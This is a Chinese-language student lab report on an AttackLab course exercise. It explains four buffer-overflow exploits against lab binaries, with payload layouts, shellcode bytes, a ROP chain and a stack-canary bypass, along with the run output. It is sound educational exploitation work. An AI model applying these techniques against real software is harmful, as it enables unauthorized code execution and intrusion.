Lab3 AttackLab 实验报告

吴向杰

2026 年 11 月

实验干什么

这个实验就是利用程序的一个漏洞——不安全的输入读取——来劫持程序的控制流。简单说，就是通过精心构造的输入数据，让程序执行我们想让它执行的东西。

核心漏洞是 gets() 函数。这个函数从标准输入读数据，但从不检查缓冲区大小，所以你输入多少数据，它就往内存里写多少。结果就是可以覆盖栈上的东西，包括函数返回时需要的地址。如果把这个地址改成程序里其他地方的代码地址，函数返回时就会跳到那里去执行。

四个任务就是用这个漏洞，分别演示四种不同的攻击方式。

1　任务 1：执行外部程序

目标

让 dark-calc 程序执行同目录下的./malware 脚本。

怎么做

dark-calc 里有个 eval() 函数，它做这样的事：

```
void eval() {
   // ... 处理命令 ...
   system(command_buf); // 执行 command_buf 里的命令字符串
}
```

反汇编看，system() 调用前有这么一段指令：

```
0x401a6b: mov $0x6030d0, %rdi # rdi = command_buf 的地址
          call system@plt # 调用 system
```

所以只要让 input() 函数返回时跳到 0x401a6b，就能执行 system(command_buf)。

我们的 payload 这样构造：

1. 头 10 字节是字符串"./malware\0"
2. 补充填充字符到 16 字节（缓冲区大小）
3. 再往后 8 字节放返回地址，设为 0x401a6b

程序执行时：

1. gets() 把我们的数据读入缓冲区，顺便覆盖了返回地址
2. input() 末尾有 strcpy()，会把缓冲区的前 10 字节复制到全局变量 command_buf
3. 执行 ret 时，跳到 0x401a6b
4. 此时 command_buf 已经是"./malware"，所以执行 system("./malware")

跑一下：

```
$ python3 payload.py | ./attack/dark-calc
### You have successfully detonated the bomb! ###
```

成功。

2 任务 2：在栈上执行自己写的代码

目标

直接在栈上放机器码，然后让程序跳过去执行。目标是调用 grade_eval(4) 函数打印成功信息。

怎么做

dark-calc 程序比较特殊，它在启动时用 mmap() 在固定地址 0x721000800000 映射了一块内存作为栈，而且这块内存是可读可写还可执行的。正常程序的栈不可执行，但这里可以。

我们利用这一点，在缓冲区里直接写机器码。这 14 字节的代码做什么呢？

```
6a 04 push $4 # 把参数 4 压栈
5f pop %rdi # 弹出到 rdi（第一个参数寄存器）
68 0e 1c 40 00 push $0x401c0e # 压一个返回地址
68 87 1a 40 00 push $0x401a87 # 压 grade_eval 的地址
c3 ret # 跳到 grade_eval
```

让返回地址指向这段代码的起始位置。程序会：

1. 执行 ret，跳到我们的代码
2. 执行这段代码，把 4 放进 rdi，然后 ret 跳到 grade_eval
3. grade_eval(4) 打印成功信息
4. 返回到 0x401c0e（__wrap_main），程序继续

```
$ python3 payload_dark.py | ./attack/dark-calc
Hope A will be your grade!
```

3 任务 3：ROP 绕过不可执行栈

目标

dark-calc-nx 是真正的 NX 保护——栈不可执行。我们不能在栈上运行代码，但代码段地址是固定的。怎么办？

思路

ROP 就是找程序现有代码里面以 ret 结尾的短指令片段（叫 gadget），然后把它们的地址压栈成一条” 链”。执行时，每条 ret 都会弹出栈上的下一个地址并跳过去，就像一个个跳板。

怎么做

在 __libc_csu_init 的末尾找到这个 gadget：

```
0x401a33: pop %rdi
0x401a34: ret
```

这个很有用——可以从栈上读一个值到 rdi（第一个参数寄存器）。

我们的 ROP 链长这样：

```
栈：
  0x401a33 # pop rdi; ret
  4 # 参数值
  0x401a34 # ret（栈对齐用）
  0x401978 # grade_eval 地址
  0x401a33 # pop rdi; ret
  4 # 参数值
  0x401a34 # ret（栈对齐用）
  0x4016e0 # exit@plt 地址
```

执行流程：

1. input() ret 时，弹出栈顶（0x401a33），跳过去
2. 执行 pop rdi; ret，从栈弹出 4 到 rdi，再 ret
3. 跳到 0x401a34（ret），对齐栈
4. 跳到 0x401978（grade_eval），执行 grade_eval(4)
5. 后面的 gadget 同理，最终调用 exit(4)

```
$ python3 payload_rop.py | ./attack/dark-calc-nx
Hope A will be your grade!
```

4 任务 4：绕过 Canary 保护

目标

dark-log 程序的 input() 启用了栈保护（Canary）。正常溢出会先覆盖 canary，程序立即退出。我们需要绕过它。

漏洞在哪

看程序的栈帧布局：

```
rbp-0x120 char expression[128]
rbp-0xa0 char logMsg[128]
```

```
rbp-0x20 int len
rbp-0x8 canary（栈保护值）
rbp saved rbp
rbp+8 saved rip
```

关键是 len 这个变量。后面有这样的代码：

```
gets(f.expression); // 读 128 字节到 expression
memcpy(f.logMsg + f.len, // 目标地址
      f.expression, 128); // 源数据，128 字节
```

gets() 没有边界检查，所以可以溢出 expression，一路覆盖 len。如果我们把 len 改成某个特殊的值会怎样？

计算一下：logMsg 在 rbp-0xa0，如果 len = 0xa8，那么

$$\texttt{dest} = \texttt{rbp} - \texttt{0xa0} + \texttt{0xa8} = \texttt{rbp} + \texttt{0x8}$$

这正好是返回地址的位置！所以 memcpy 会把 128 字节的数据拷到返回地址处，完全跳过 canary。

怎么做

payload 包括：

1. 前 128 字节是我们的 ROP 链数据
2. 后 128 字节填充（会被 memcpy 覆盖到 logMsg）
3. 最后 4 字节是 len 的值，设为 0xa8

```
$ python3 payload_canary.py | ./attack/dark-log
Hope A will be your grade!
```

程序最后崩溃（因为返回地址被改成填充数据了），但目标信息已经打印出来了。

总结

四个 payload 演示了缓冲区溢出漏洞的四种利用方式：

1. 直接改返回地址，跳到程序现有代码的某个地方

2. 在栈上写机器码并执行（需要栈可执行）

3. 用 ROP 用现有代码片段拼成新程序（绕过 NX）

4. 通过控制栈上的数据结构，绕过栈保护

这些技术都是真实的安全漏洞利用手段。现代系统靠多层防护（NX、ASLR、Canary 等）来阻止这些攻击，但每种防护都可以被精心设计的利用绕过。